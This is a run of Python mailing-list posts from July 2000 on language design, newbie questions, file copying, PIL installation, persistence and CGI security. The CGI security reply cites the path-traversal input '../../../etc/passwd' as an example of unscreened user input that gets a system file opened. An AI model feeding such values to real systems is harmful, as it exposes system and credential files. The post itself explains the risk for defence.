Huaiyu

On 18 Jul 2000 09:51:52 -0500, John Lull <lull at acm.org> wrote:

>How about one small change to Python, breaking no existing code, and
>applicable (I'm sure) to domains far-afield from linear algebra:
>
>Currently,
>    object operator other
>is really just convenient shorthand for:
>    object.__operatorname__(other)
>or
>    other.__roperatorname__(object)
>where operator is any binary arithmetic operator.
>
>What if we simply make
>    object @operator other
>convenient shorthand for:
>    object.__alt__operatorname__(other)
>or
>    other.__alt__roperatorname__(object)
>for all those same operators?
>
>This would be a syntax error when applied to anything other than an
>object, and would raise an appropriate exception if neither object nor
>other provided an appropriat __alt method.
>
>This would provide a way of adding a reasonable variety of
>domain-specific operators to *any* class with very little impact on
>the language, zero runtime penalty, and obvious & correct behaviour
>when creating derived classes.  It would not break any existing code
>and should be very simple to implement.
>
>I haven't thought through whether the same behavior should apply to
>anything other than binary arithmetic operators.  Doing so would seem
>very Pythonic.
>
>Regards,
>John



From beat.bolli at dware.ch.bbs  Tue Jul 18 02:40:04 2000
From: beat.bolli at dware.ch.bbs (beat.bolli at dware.ch.bbs)
Date: 18 Jul 2000 06:40:04 GMT
Subject: [Patch] {l,r}just with optional pad character parameter
Message-ID: <3bReK5$laF@openbazaar.net>

> > Two reasons why not:
> > - it would have been harder to implement <wink>
> > - undetermined semantics:
> >   "GvR".ljust(6,"12") =?= "GvR121"
>
> This is exactly what I would expect -- a 6 char result string
>

I've been working on this last night; I implemented it for ljust, rjust and
center.
Right now I'm trying to integrate Unicode support, too. Let me know if you
want to see an intermediate version just for strings.

Beat Bolli
--
dware design & software GmbH
Mattenstrasse 11, CH-2555 Br?gg b. Biel
Telefon: +41 (32) 374 27 00, Telefax: +41 (32) 374 27 01
E-Mail: beat.bolli at dware.ch


From OneDay at ATime.net  Mon Jul 24 06:02:27 2000
From: OneDay at ATime.net (OneDay at ATime.net)
Date: Mon, 24 Jul 2000 06:02:27 EDT
Subject: Newbie ?? Running hello1.py and compiling?
References: <8lejm0$d3o$1@earth.superlink.net> <pRMe5.76$ef4.30001@news01.micron.net>
Message-ID: <8lh47j$1645$1@earth.superlink.net>

Thanks for your answer, getting started is the hardest part.  Al 

In article <pRMe5.76$ef4.30001 at news01.micron.net>, "Greg Fortune" 
<gfortune at micron.net> wrote:
>
><OneDay at ATime.net> wrote in message news:8lejm0$d3o$1 at earth.superlink.net...
>> Hello all,
>>
>>        At Python's site I started with Example 2.1, Our First Program. I
>> opened IDLE, Opened a new window and copied/wrote the commands
>> and saved it as hello1.py.
>>
>>         To run the program it says to "run the script as usual"
>>                                 $ python hello1.py
>>
>>         Where do I type this, I don't know what "as usual" means.
>
>It sounds like you are running Windows.  Assuming that is true, pop up a
>console (MS-Dos window) and change to the directory containing the file you
>created.  Then type "python hello1.py".  All that does is tell python to run
>your script.
>
>
>>
>>         After I wrote hello1.py, I noticed a compiled version in my
>explorer.
>> Which I can run from there. How did that happen?
>
>Sounds like you got hello1.py to run.  Whenever a script is run, it checks
>for a compiled version of the file.  If none exist, it compiles the script
>into byte code.  If the .py file is newer than the .pyc (compiled file), the
>..py file is compiled again.
>
>>
>>          When I copied/wrote hello2.py, following the above steps, I did
>not
>> get a compiled version. What did I do wrong?
>
>Hmmmm, must not have ran this one.
>
>>
>>
>> Thank you for your time and patience,
>> Al
>
>Not a problem ;)
>good luck,
>
>Greg Fortune
>
>
>


From alex at magenta.com  Tue Jul 25 06:56:47 2000
From: alex at magenta.com (Alex Martelli)
Date: Tue, 25 Jul 2000 12:56:47 +0200
Subject: Python is wierd!
References: <8lj7kr$ttc$1@nnrp1.deja.com>
Message-ID: <8ljrvu09t6@news1.newsguy.com>

"Jonathan" <theebh at yahoo.com> wrote in message
news:8lj7kr$ttc$1 at nnrp1.deja.com...
> Hi, just finished going through the 'Learning Python' book, and the
> feeling that i get is that Python is really wierd(compared to other
> conventional languages like C++, Java, etc). For e.g.(correct me if i'm

Funny.  With my background being 20+ years of (Fortran, Pascal,
APL, C, C++, Java, Perl, &c), I picked up Python a few months ago
and found myself *immediately* productive with it.  No weirdness
that I could perceive...


> 1. There are no keywords to declare static or instance variables; it
> all depends where they are placed(whether it's right after the <class>
> statement, or inside a <def>). Isn't it harder for other programmers to
> know at one glance what type of attributes the class define?

I see a "self.something=23", I know "self" is an instance variable; no
muss, no fuss.  MUCH clearer than the implicit-this convention of
C++ and Java.  Explicit self -> less weirdness, not more.


> 2. No *formal* declaration of static class methods, e.g. no 'static'
> keyword (though i'm not sure how useful static methods are in OOP
> design). I read somewhere in this newsgroup that the workaround way is
> to define the method outside of the class - doesn't it break
> the 'encapsulation' a class suppose to have?

Encapsulation in Python is a matter of convention (as it actually
ends up being in all languages, but most strive hard to make it
appear they enforce it:-).  Static methods are not particularly
useful when you can have free-standing functions in their stead,
and grouping by-module is more productive than by-class (the
class is not the natural unit of encapsulation, an issue that is also
acknowledged by the package concept of Java and the friend
keyword in C++).


> 3. No keywords to differentiate between passing arguments by reference
> or value! An integer is passed by value(reference to a new copy), while
> a mutable object is by reference. To pass a list by 'value', i know you
> just need to insert one more line(list = [:]), but it seems
> so 'inconsistent' compared to Java or even PHP.

*Blink* what IS the difference supposed to be, in the above paragraph,
between the situation in Java and in Python, again?  You pass an int,
it's by-value (notionally, reference-to-immutable-value); you pass an
object reference, it's by value *of the reference*, i.e., by reference *on
the object*.   What "keywords to differentiate between passing
arguments by reference or value" is Java supposed to have acquired
since I studied and used it...?

The ByVal/ByRef keywords are in Visual Basic, and I don't really miss
them at all in Python just as I didn't use to miss them in Java.


> (Not to mention the number of 'gotchas' listed in the book that are
> bound to trap beginners - *shudder*)

Such as...?  I breezed through "Learning Python" several months
ago, and I don't recall such "gotchas".  Any gotcha-risk I can imagine
Python having, would have to be towards programmers experienced
in a very modest variety of other languages; beginners, using Python
as their first language, and old-hands like me, having already survived
the wide variety of semantics and syntax of a dozen other languages,
should be reasonably immune.

The three-scopes-and-no-more rule, where each name can only be
local, global, or built-in (no other possibilities, no nesting of scopes),
for example, is extremely simple; somebody used to nested-scopes
exclusively will find it unfamiliar at first, I guess -- is this sort of
thing
the one you consider a "gotcha"?


> The reason i'm picking up python is that i got sick of PERL:), and

That was my key motivation at first, too.  I've now moved to Python
basically everything that I used to do in Perl -- and I've been quite
surprised that Python becomes my language of choice for many
other things that I'd never have considered Perl for.

> don't really like the inflexible typing of Java. Furthermore, some ppl
> claim that Python is easier to learn, enables you to write much cleaner

With my limited experience, I'd underwrite this.

> codes... However, after reading the python book, my head is still
> spinning, trying to catch all the 'intricacies' of this language. No

But there aren't any.  That's why it's so powerful!-)

> doubt it will be a powerful and useful 'tool' to me once i get used to
> it; but i don't think it's suitable to be a first programming language
> for non-programmers(i read somewhere about this project going on).

CP4E, I guess.  I believe it's probably the best for most people.

> Pascal(for procedural) and Java(for OOP) is still the better choice to
> start off, IMHO.

There are two main schools about the kind of features a beginners'
language should provide.  The bondage-and-discipline school holds
that such a language should strictly confine the beginner to "what is
good for him/her", *forcing* him/her to do things "the one true way".
The flowers'-children school holds that a tool's role is to get OUT of
the way, being as simple and obvious as feasible, to let the learner
concentrate efforts on the REAL difficulties of learning to think like
a programmer.  Of course, there are sub-schools of each, which
depend on secondary considerations such as syntax.  But the main
split, as I see it, is between these two key world-views.

If you subscribe to B&D, of course Python would not be appropriate,
since it *avoids* binding the user's hands in such wise.  It does try
to offer "one clearly correct way to do things", but never goes out of
its way to _constrain_ users to that one way.  Pascal, Sather, Java,
Oberon, would be outstanding candidates for a first language on the
B&D lines.

Python, together with Smalltalk, Scheme, or Rexx, is an outstanding
candidate for the _second_ way to look at the world.  Of these, Python
would be my favourite were I to pick such a language today.

(Other languages such as Perl, C++, Ada, Common Lisp, and so
on, I view for different reasons as too complex and obtrusive to be
good first-programming-languages, and similarly for lower-level
languages such as C, machine language of any ilk, or Forth).


Alex





From grey at despair.rpglink.com  Sun Jul 30 20:50:53 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Mon, 31 Jul 2000 00:50:53 GMT
Subject: Perl is worse!
References: <8losor$4bk$1@nnrp1.deja.com> <slrn8o0n0b.qhk.grey@teleute.rpglink.com> <8lpt57$hsu$2@newshost.accu.uu.nl> <slrn8o10ko.rt1.grey@teleute.rpglink.com> <8lq5q6$fn4$1@newshost.accu.uu.nl> <slrn8o1do5.rt1.grey@teleute.rpglink.com> <8lspdu$m7e$1@newshost.accu.uu.nl> <slrn8o40d1.49c.grey@teleute.rpglink.com> <8luhsi01ce8@news2.newsguy.com> <slrn8o6nub.f91.grey@teleute.rpglink.com> <8lvr4n0iue@news2.newsguy.com> <slrn8o75ep.fjt.grey@teleute.rpglink.com> <8m26up$ila$5@newshost.accu.uu.nl>
Message-ID: <slrn8o9j78.i9b.grey@teleute.rpglink.com>

On 30 Jul 2000 21:33:13 GMT, Martijn Faassen <m.faassen at vet.uu.nl> wrote:
>condition. It cannot magically repair bugs. So what is you want?

    A little tolerance to those bugs, not a panic to break out of a 12 deep
nested loop to a point of no recovery while in the /customers/ hands.  

>And what is your experience regarding databases and exceptions in Python?

    As Alex pointed out there are more databases than just that.  

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From fig at oreilly.com.bbs  Mon Jul 17 15:30:06 2000
From: fig at oreilly.com.bbs (fig at oreilly.com.bbs)
Date: 17 Jul 2000 19:30:06 GMT
Subject: Python equivalent of CPAN in Perl
Message-ID: <3bRMkV$mbl@openbazaar.net>

Aahz Maruch wrote:
> To the extent that this is true, isn't it also true of Perl/CPAN?

Yes, and it was not really solved until ActiveState came along and put
up a repository of precompiled packages for win32 systems.   CPAN still
caters mostly to to a Linux/Unix audience, where Windows users use the
ppm program provide with ActivePerl to retrieve their modules.

Stephen


From claird at starbase.neosoft.com  Wed Jul  5 09:09:47 2000
From: claird at starbase.neosoft.com (Cameron Laird)
Date: 5 Jul 2000 08:09:47 -0500
Subject: Hi, my name is not Mrs so-called Gumblenose
References: <395B2B88.CC3041C1@memo.volvo.se>
Message-ID: <FA98C0EEF85667EF.F9FA99C0C74A44FE.F449656A33278DD4@lp.airnews.net>

In article <395B2B88.CC3041C1 at memo.volvo.se>,
PM  <vtbl.moorepe at memo.volvo.se> wrote:
			.
			.
			.
>Can Python kick large bottoms with decent database access - not just SQL
>not ODBC, could it go to DB2/400?
			.
			.
			.
How are you getting to DB2 over OS/400 if not through
SQL?  Are you asking for RPG?

In general, yes; Python's database access is "decent",
and the language has turned up on AS/400 in the past
(although I can't attest to its "currency").
-- 

Cameron Laird <claird at NeoSoft.com>
Business:  http://www.Phaseit.net
Personal:  http://starbase.neosoft.com/~claird/home.html


From crs at quail.swcp.com  Thu Jul 13 20:14:31 2000
From: crs at quail.swcp.com (Charlie Sorsby)
Date: 13 Jul 2000 18:14:31 -0600
Subject: Simple File I/O Question
References: <396DF13A.97CC3F5E@bioeng.ucsd.edu> <4ymb5.894$6E.112638@ptah.visi.com>
Message-ID: <8klm17$1se@quail.swcp.com>

In article <4ymb5.894$6E.112638 at ptah.visi.com>,
Grant Edwards <ge at nowhere.none> wrote:
= In article <396DF13A.97CC3F5E at bioeng.ucsd.edu>, Curtis Jensen wrote:
= >I know this should be simple, but....  I have a variable that holds an
= >int.  I want to write it to a file.  The following code:
= >
= >var = 5
= >f = open('foo','w')
= >f.write(var)
= >
= >gives this error:
= >TypeError: read-only buffer, int
= 
= the write method only accepts strings as parameters, so you've
= got to convert whatever you want to write to a string before
= passing it to write()
= 
= try this:
= 
=   f.write(str(var))
=     or
=   f.write("The value of 'var' is %d\n" % var)

If I may add my own question to that of the original poster:

What if one needs to send an int to a device that will use it
and needs it to be an int not a string?  E.g. suppose I need to
send a hex int via the serial port (/dev/cuaa0) to some device?  Is
this not possible in python?



-- 
NB:  While I welcome *reasonable* and *relevant* e-mail responses, any
e-mail with a *long* "To: list" or any mailing list may be treated as
spam and reported to the sender's ISP.
-- 
Best regards,

Charlie "Older than dirt" Sorsby     Edgewood,  NM     "I'm the NRA!"
      crs at swcp.com www.swcp.com/~crs      USA      Life Member since 1965


From slinkp23 at yahoo.com  Sat Jul 29 13:21:27 2000
From: slinkp23 at yahoo.com (Paul Winkler)
Date: Sat, 29 Jul 2000 13:21:27 -0400
Subject: Find where you left off...
References: <397F7BF5.F4A0138D@yahoo.com> <slrn8nvree.35n.qtmstr@d30-146.hcvlny.optonline.net> <etdr98du6gj.fsf@w20-575-115.mit.edu>
Message-ID: <39831297.36F7C5C2@yahoo.com>

Toby, Alex, and Quotemaster:

Thanks for the comments.
It seemed like a good idea at the time. :)

I think I will use emacs bookmarks instead, sounds like a better
general solution. Thanks Toby!

-- 
.................    paul winkler    ..................
slinkP arts:   music, sound, illustration, design, etc.
           web page:  http://www.slinkp.com
      A member of ARMS:   http://www.reacharms.com


From tony at lsl.co.uk  Mon Jul 10 07:29:37 2000
From: tony at lsl.co.uk (Tony J Ibbs (Tibs))
Date: Mon, 10 Jul 2000 12:29:37 +0100
Subject: POOP / Python (Object Oriented Persistence) ?
In-Reply-To: <8k4t1u$7fk$1@newshost.accu.uu.nl>
Message-ID: <002001bfea62$21eabdf0$f0c809c0@lslp7o.lsl.co.uk>

Martijn Faassen explained that Zope does indeed do most of the things I'd
mentioned, and then:
> > persistence over LARGE networks, etc.
>
> What would this mean?

One of the interests of the people in Glasgow is how one copes with data
that may be distributed over many computers. This includes issues such as
how do you fallback to another copy of the data, how do you decide
whether/when to cache locally, and if so when to update, etc. Since they
also store the program code in the store, this also means sharing software
over the network as well. In todays emphasis on shared services over the
net, a lot of this begins to sound remarkably prescient.

It's often regarded as one of those "we'll worry about that later" problems,
since people expect to be working on a local store, but thinking about it
earlier can have interesting insights into what one should be *doing*
locally (and as soon as one has two users on two systems sharing stuff, the
slippery slope has started). But it did seem to be a *difficult* problem,
conceptually as well as practically.

But I *know* I don't understand the field, so I'll shut up straight away
about it...

> Do you still think what the ZODB does is much
> different from what you're describing?

Erm, no, it sounds like I need to find some excuse to find out more about
Zope, instead! (damn, another worthwhile thing to learn about).

Tibs

--
Tony J Ibbs (Tibs)      http://www.tibsnjoan.demon.co.uk/
Feet first with 5 wheels...
My views! Mine! Mine! (Unless Laser-Scan ask nicely to borrow them.)




From anamax at earthlink.net  Tue Jul 25 09:49:29 2000
From: anamax at earthlink.net (Andy Freeman)
Date: Tue, 25 Jul 2000 13:49:29 GMT
Subject: Open letter to Guido van Rossum
References: <200007240401.AAA07578@mail3.mia.bellsouth.net> <8lhij5$278$1@slb2.atl.mindspring.net> <8lhmgd$p92$1@nnrp1.deja.com> <8lhtht$v1e$1@nnrp1.deja.com>
Message-ID: <8lk5t6$jb2$1@nnrp1.deja.com>

In article <8lhtht$v1e$1 at nnrp1.deja.com>,
  ajsiegel at my-deja.com wrote:
> But I wasn't necessarily suggesting that there would be a contribution
> back to the community. There would be a proprietary solution - and
> perhaps a competitive advantage achieved. The contribution back to
> the community would be a separate business decision.

Here's the conversation.

Me: "I'd like to use Python instead of Java for Project X?"
VP: "Why?  Everyone here uses Java and I've never heard of Python."
Me: "I can finish Project X 30% faster in Python than Java."
VP: "But, is it compatible, and who will maintain the code?"
     <Assume that I win that argument, or that I at least get
     permission to build a prototype, so now we're having the
     roll-out discussion.>
VP: "Okay, what do you need to deploy?"
Me: "I need to hire a contractor to enhance some standard modules."
VP: "Project X will be rewritten in Java - we can't depend on that
     kind of uncertainty."

Note that the VP's job is to actually get into the rollout discussion
before I get started with the Python version.  (Note that the VP is
right to kill the project in this case, and changing the number to
70% faster doesn't help.)

The challenger has to be better on a number of dimensions and can
only be worse on trivial details - otherwise the incumbent wins.
("No one else here knows the language" is a very powerful argument
in a world where staffing is so difficult.)

-andy


Sent via Deja.com http://www.deja.com/
Before you buy.


From db3l at fitlinxx.com  Sun Jul 23 19:28:33 2000
From: db3l at fitlinxx.com (David Bolen)
Date: 23 Jul 2000 19:28:33 -0400
Subject: iterating over lines in a file
References: <Uvqd5.21615$DZ4.69024@news.corecomm.net> <hMrd5.49275$e6.2860918@pouncer.easynews.com> <8l73an01lgb@news2.newsguy.com> <vnLd5.27741$r9.839310@news.easynews.com> <DSOd5.25099$DZ4.83839@news.corecomm.net> <slrn8nhj0s.jr0.cjc26@synecdoche.sowrong.org> <jlie5.28024$DZ4.107957@news.corecomm.net>
Message-ID: <uhf9g4eam.fsf@ctwd0143.fitlinxx.com>

nobody <no at bo.dy> writes:

> perhaps. unfortunately, i haven't had time to work on this since i made
> that posting, so i have got no further; i expect there's some fairly easy
> way to write (copy) all the lines from one file to another one, possibly
> (though not necessarily) stdout. perl is nice in that this task is a one-
> liner in that language; i don't *need* it that concise, but it would be
> nice. i like one-liners.

As long as you're willing to think in terms of "lines" (which does
technically involve some "cleverness" or intelligence on the I/O
part), then this sort of thing is probably the most straight forward,
assuming stdin->stdout:

    import sys

    while 1:
	line = sys.stdin.readline()
	if not line: break
	sys.stdout.write(line)

The overhead compared to the Perl example is just about the same as
just processing input (e.g., the "while 1" idiom - the extra operation
to dump to stdout is only one line, just as with Perl), or if you
switch to fileinput:

    import fileinput

    for line in fileinput.input():
        sys.stdout.write(line)

which aside from the import, is pretty much as brief as the Perl
approach :-)  To be honest though, while I'm as much a fan of brevity
and one-liners as the next guy, they do carry some risk sometimes in
terms of encapsulating implicit behavior that can sometimes make the
code less readable.

Now, this does assume a line formatted setup, which I think is also
assumed by the Perl example.  Both the "while <FILE>" in Perl, and the
"readline" in Python read up until the end of line, and include the
newline in the returned string.  So there is some non-raw processing
going on.  Just as with "print" under Perl, Python's "write()"
file method just dumps the contents of the string to the file, any
newline already in the string included. 

But if you really wanted something closer to a raw copy, with no
assumptions about a format of lines, then you could switch to using a
read() method rather than readline(), at least in the first approach
above.

> that's trying to be clever. then, if i'm reading raw lines from a file and
> want to print them verbatim, i have to strip a newline somewhere somehow?
> how do i copy a file to another one, is there a file.copy method in some
> module somewhere?

BTW, I do agree that "print" has a number of clever items to it as a
statement, and that's fine - it's how it is defined, and it's very
convenient interactively and even in scripts.  It just doesn't match
the definition of Perl's "print", despite the same name.

The file write() method is the closest match to Perl's "print FILE"
statement - just use "sys.stdout.write()" where you'd leave off FILE
in Perl.  If you don't like the length of the name, just assign it to
any name you'd like in your script and use that instead :-)

Where a typical incorporation of variables into Perl's print statement
is just embedding $variable in the string, with Python you would use
the string formatting operations to build up the appropriate string to
send to write(), say something like ("%s is %d" % (var1,var2)).  If
you use the dictionary approach ("%(name)") then it doesn't even read
all that differently from Perl :-)

Just to note too - you mention reading "raw lines" - that's sort of
oxymoronic, since by definition "lines" have format information (end
of line markers that differ by platform) that have to be processed,
and thus you aren't really reading anything "raw" :-)

Oh BTW, if you really just wanted a file copy, then yes, you could
also use the higher level copy() method in the shutil module.

--
-- David
-- 
/-----------------------------------------------------------------------\
 \               David Bolen            \   E-mail: db3l at fitlinxx.com  /
  |             FitLinxx, Inc.            \  Phone: (203) 708-5192    |
 /  860 Canal Street, Stamford, CT  06902   \  Fax: (203) 316-5150     \
\-----------------------------------------------------------------------/


From Gareth.McCaughan at pobox.com  Fri Jul 21 17:43:07 2000
From: Gareth.McCaughan at pobox.com (Gareth McCaughan)
Date: Fri, 21 Jul 2000 22:43:07 +0100
Subject: iterating over lines in a file
References: <Pine.GSO.4.10.10007200934550.23388-100000@sundial>
Message-ID: <slrn8nhgvb.1vjf.Gareth.McCaughan@g.local>

Moshe Zadka wrote:

> Preventing world war III, when Python achieves world domination.
> If C is allowed to achieve world domination, WWIII will be cause by
> 
> if(everything_is_ok = 0) {
> 	launch_missile();
> }

No, that will *prevent* WW3 happening when it was supposed to.
Where do I sign up for the campaign to help C dominate the
world? :-)

-- 
Gareth McCaughan  Gareth.McCaughan at pobox.com
sig under construction


From akuchlin at mems-exchange.org  Mon Jul  3 12:33:56 2000
From: akuchlin at mems-exchange.org (Andrew Kuchling)
Date: 03 Jul 2000 12:33:56 -0400
Subject: Python CGI security
References: <B5851962.5E%bojar@speakeasy.org>
Message-ID: <3dr99b5g23.fsf@kronos.cnri.reston.va.us>

"E. Jordan Bojar" <bojar at speakeasy.org> writes:
> I'm interested in running a series of Python scripts via the Apache Python
> module, mostly for dynamic content but possibly for password protection as
> well.  Are there security issues particular to (or common with) Python CGIs,
> in the way that buffer overflow is so common to poorly-written Perl?

Actually I'd expect that very few Perl security problems stem from
buffer overflows, but instead come from improperly screening user
input.  (Taking the value of a field and blithely opening a file with
the same name, for example, which is vulnerable to values such as
../../../etc/passwd.)  Similarly, while there may be buffer overflows
inside the Python interpreter that should be fixed, I'd be far more
worried about the CGI/Apache code itself.

--amk


From mfletch at tpresence.com  Fri Jul 21 22:08:03 2000
From: mfletch at tpresence.com (Mike Fletcher)
Date: Fri, 21 Jul 2000 22:08:03 -0400
Subject: newb Q
Message-ID: <CC59868A0A76D311B1F50090277B321C1F3451@VRTMAIL>

Check Deja news for a _long_ thread on how to get IP addresses. 

http://x72.deja.com/[ST_rn=ps]/viewthread.xp?AN=647408915

HTH,
Mike

-----Original Message-----
From: Toy [mailto:gee308 at mediaone.net]
Sent: Friday, July 21, 2000 9:28 PM
To: python-list at python.org
Subject: newb Q


How can I make python issue the command, "ifconfig -a eth0", and then
parse the data to grab the IP?  I would think that you could tell Python
to look for the word, 'inet addr:"(is it different on different Unixes?)
and then tell it to get a number right after 'inet addr' that looks like
xx.x.xxx.xxx !!  Simple Q, but I'm new, thanks.

-- 
http://www.python.org/mailman/listinfo/python-list



From scarblac-spamtrap at pino.selwerd.nl  Thu Jul 20 09:34:45 2000
From: scarblac-spamtrap at pino.selwerd.nl (Remco Gerlich)
Date: 20 Jul 2000 13:34:45 GMT
Subject: Intercept methods/raise exception
References: <3978f242.25036009@news.online.no> <3979f896.26656309@news.online.no>
Message-ID: <slrn8ndvtb.h7t.scarblac-spamtrap@flits104-37.flits.rug.nl>

Thomas Weholt wrote in comp.lang.python:
> I tried using __getattr__, like
> 
> def __getattr__(self, attrname):
>    print 'Trace:', attrname
>    return getattr(self, attrname)
> 
> But it crashed terribly. The object in question is accessed lots of
> times. When I ran it, it printed :
> Trace: __coerce__
> Some hundred, thousands times, then collapsed with a bang.

This is simple infinite recursion. The getattr() call calls __getattr__,
etc.

Try returning self.__dict__[attrname].

-- 
Remco Gerlich,  scarblac at pino.selwerd.nl
  Murphy's Rules, "First you take off the lens cap":
   Tri-Tac's FTL: 2448 reveals that a ship's sensors have a 1 per cent of
   failing to detect a giant gas planet 300 feet away. The chance rises
   to 11 per cent if you don't know what you are looking for.


From slinkp23 at yahoo.com  Wed Jul 26 12:30:42 2000
From: slinkp23 at yahoo.com (Paul Winkler)
Date: Wed, 26 Jul 2000 12:30:42 -0400
Subject: Problems installing PIL on linux
Message-ID: <397F1232.27791F0C@yahoo.com>

Hi,

I'm trying to install PIL on a RedHat 6.1 system.

I've downloaded the Imaging-1.1.tar.gz from the PIL website.
Following the instructions in the README, I get as far as step 8,
the actual build. It looks like step 7 (make -f Makefile.pre.in
boot) is finishing OK, but the created makefile does not work. I get
this:

# make
make: *** No rule to make target
`/usr/lib/python at VERSION@/config/Makefile', needed by `sedscript'. 
Stop.

I found a couple of messages on dejanews referencing similar
problems, but I didn't see any solutions posted. I browsed the
imaging sig archives and couldn't find anything relevant.

Details: let's go through the process...

Step 1: jpeg and png support ... I have RedHat 6.1 so I assume this
is OK.
Let's see what I've got:

# rpm -q libjpeg libpng zlib
libjpeg-6b-9
libpng-1.0.3-4
zlib-1.1.3-5
# rpm -q libpng-devel libjpeg-devel zlib-devel
libpng-devel-1.0.3-4
libjpeg-devel-6b-9
zlib-devel-1.1.3-5

Looks good to me.

Step 2: make sure build packages are there...
# rpm -q python python-devel
python-1.5.2-13
python-devel-1.5.2-13

Looks good.

Step 3: Unpack the PIL distribution ... no problem

Step 4: . Now build the Imaging core library (libImaging.a):
$ cd Imaging-1.1/libImaging
$ ./configure
$ make

This all goes fine.

Step 5. To check that this library works as it should, type:
$ make check

OK, I get a nice pretty little picture.

Step 6. Edit Setup if necessary to find jpeg and zlib libraries...
I don't think I need to do this.

Step 7. Make a makefile. This seems to go OK... long output listing
follows...
and yes, I end up with a Makefile.

[root at slink Imaging-1.1]# make -f Makefile.pre.in boot
rm -f *.o *~
rm -f *.a tags TAGS config.c Makefile.pre python sedscript
rm -f *.so *.sl so_locations
VERSION=`python -c "import sys; print sys.version[:3]"`; \
installdir=`python -c "import sys; print sys.prefix"`; \
exec_installdir=`python -c "import sys; print sys.exec_prefix"`; \
make -f ./Makefile.pre.in VPATH=. srcdir=. \
        VERSION=$VERSION \
        installdir=$installdir \
        exec_installdir=$exec_installdir \
        Makefile
make[1]: Entering directory `/usr/local/lib/python/Imaging-1.1'
sed -n \
 -e '1s/.*/1i\\/p' \
 -e '2s%.*%# Generated automatically from Makefile.pre.in by
sedscript.%p' \
 -e '/^VERSION=/s/^VERSION=[    ]*\(.*\)/s%@VERSION[@]%\1%/p' \
 -e '/^CC=/s/^CC=[      ]*\(.*\)/s%@CC[@]%\1%/p' \
 -e '/^CCC=/s/^CCC=[    ]*\(.*\)/s%#@SET_CCC[@]%CCC=\1%/p' \
 -e '/^LINKCC=/s/^LINKCC=[      ]*\(.*\)/s%@LINKCC[@]%\1%/p' \
 -e '/^OPT=/s/^OPT=[    ]*\(.*\)/s%@OPT[@]%\1%/p' \
 -e '/^LDFLAGS=/s/^LDFLAGS=[    ]*\(.*\)/s%@LDFLAGS[@]%\1%/p' \
 -e '/^DEFS=/s/^DEFS=[  ]*\(.*\)/s%@DEFS[@]%\1%/p' \
 -e '/^LIBS=/s/^LIBS=[  ]*\(.*\)/s%@LIBS[@]%\1%/p' \
 -e '/^LIBM=/s/^LIBM=[  ]*\(.*\)/s%@LIBM[@]%\1%/p' \
 -e '/^LIBC=/s/^LIBC=[  ]*\(.*\)/s%@LIBC[@]%\1%/p' \
 -e '/^RANLIB=/s/^RANLIB=[      ]*\(.*\)/s%@RANLIB[@]%\1%/p' \
 -e '/^MACHDEP=/s/^MACHDEP=[    ]*\(.*\)/s%@MACHDEP[@]%\1%/p' \
 -e '/^SO=/s/^SO=[      ]*\(.*\)/s%@SO[@]%\1%/p' \
 -e '/^LDSHARED=/s/^LDSHARED=[  ]*\(.*\)/s%@LDSHARED[@]%\1%/p' \
 -e '/^CCSHARED=/s/^CCSHARED=[  ]*\(.*\)/s%@CCSHARED[@]%\1%/p' \
 -e '/^LINKFORSHARED=/s/^LINKFORSHARED=[       
]*\(.*\)/s%@LINKFORSHARED[@]%\1%                                               
/p' \
 -e '/^prefix=/s/^prefix=\(.*\)/s%^prefix=.*%prefix=\1%/p' \
 -e
'/^exec_prefix=/s/^exec_prefix=\(.*\)/s%^exec_prefix=.*%exec_prefix=\1%/p'
\
 /usr/lib/python1.5/config/Makefile >sedscript
echo "/^#@SET_CCC@/d" >>sedscript
echo "/^installdir=/s%=.*%=     /usr%" >>sedscript
echo "/^exec_installdir=/s%=.*%=/usr%" >>sedscript
echo "/^srcdir=/s%=.*%=         .%" >>sedscript
echo "/^VPATH=/s%=.*%=          .%" >>sedscript
echo "/^LINKPATH=/s%=.*%=       %" >>sedscript
echo "/^BASELIB=/s%=.*%=        %" >>sedscript
echo "/^BASESETUP=/s%=.*%=      %" >>sedscript
sed -f sedscript ./Makefile.pre.in >Makefile.pre
/usr/lib/python1.5/config/makesetup \
         -m Makefile.pre -c /usr/lib/python1.5/config/config.c.in
Setup -n  /usr                                               
/lib/python1.5/config/Setup
make -f Makefile do-it-again
make[2]: Entering directory `/usr/local/lib/python/Imaging-1.1'
/usr/lib/python1.5/config/makesetup \
         -m Makefile.pre -c /usr/lib/python1.5/config/config.c.in
Setup -n  /usr                                               
/lib/python1.5/config/Setup
make[2]: Leaving directory `/usr/local/lib/python/Imaging-1.1'
make[1]: Leaving directory `/usr/local/lib/python/Imaging-1.1'
[root at slink Imaging-1.1]#


OK, but now we come to the problem.
Step 8. To build a dynamically loaded module, just type "make":

make: *** No rule to make target
`/usr/lib/python at VERSION@/config/Makefile', needed by `sedscript'. 
Stop.

OK, so something's really wrong with my Makefile, even though none
of the previous steps complained. I don't think this section is
supposed to look like this:
# === Variables from configure (through sedscript) ===

VERSION=        @VERSION@
CC=             @CC@
LINKCC=         @LINKCC@
SGI_ABI=        @SGI_ABI@
OPT=            @OPT@
LDFLAGS=        @LDFLAGS@
DEFS=           @DEFS@
LIBS=           @LIBS@
LIBM=           @LIBM@
LIBC=           @LIBC@
RANLIB=         @RANLIB@
MACHDEP=        @MACHDEP@
SO=             @SO@
LDSHARED=       @LDSHARED@
CCSHARED=       @CCSHARED@
LINKFORSHARED=  @LINKFORSHARED@


Any ideas?



-- 
.................    paul winkler    ..................
slinkP arts:   music, sound, illustration, design, etc.
        web page:  http://www.ulster.net/~abigoo        
      A member of ARMS:   http://www.reacharms.com
               or http://www.mp3.com/arms


From stadt at cs.utwente.nl  Thu Jul 13 07:48:38 2000
From: stadt at cs.utwente.nl (Richard van de Stadt)
Date: Thu, 13 Jul 2000 13:48:38 +0200
Subject: Aspect-oriented Python?
References: <8jg821$vll$1@gaia.cdg.acriter.nl>
Message-ID: <396DAC96.828F371C@cs.utwente.nl>

Cees de Groot wrote:
> 
> I've been reading on aspect-oriented programming a bit, and it sounds really
> interesting. A Java implementation, AspectJ (www.aspectj.org) looks promising,
> but has the drawback that it only supports static weaving (wouldn't know
> how to do dynamic weaving with Java, so it's not a big surprise).

Composition Filters (See http://trese.cs.utwente.nl/sina/cfom/) is another
way to do Aspect Oriented Programming.

> With Python, experimenting with aspect-oriented stuff would probably be
> way easier, because it is easy enough to replace class methods etcetera. I've
> tried Google, but didn't find anything. Is someone busy with aspect-oriented
> programming for Python?

